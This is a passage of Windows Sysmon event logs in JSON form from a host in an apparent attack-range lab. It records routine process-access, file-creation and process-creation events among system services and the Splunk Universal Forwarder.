12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-00106BC10F00}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-00106BC10F00}","TargetProcessId":"4788","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:38.666\r\nProcessGuid: {90617006-4319-5F2D-0000-0010FDB80F00}\r\nProcessId: 4364\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\110c-0\\System.Web.Extensions.dll\r\nCreationUtcTime: 2020-08-07 12:03:38.666","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:38.666","ProcessGuid":"{90617006-4319-5F2D-0000-0010FDB80F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\110c-0\\System.Web.Extensions.dll","CreationUtcTime":"2020-08-07 12:03:38.666","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-001027C40F00}\r\nTargetProcessId: 4736\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-001027C40F00}","TargetProcessId":"4736","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-001027C40F00}\r\nTargetProcessId: 4736\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-001027C40F00}","TargetProcessId":"4736","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.776\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-001027C40F00}\r\nTargetProcessId: 4736\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.776","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-001027C40F00}","TargetProcessId":"4736","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nProcessGuid: {90617006-431A-5F2D-0000-001075C80F00}\r\nProcessId: 2964\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","ProcessGuid":"{90617006-431A-5F2D-0000-001075C80F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-001075C80F00}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-001075C80F00}","TargetProcessId":"2964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-001075C80F00}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431A-5F2D-0000-001075C80F00}","TargetProcessId":"2964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: 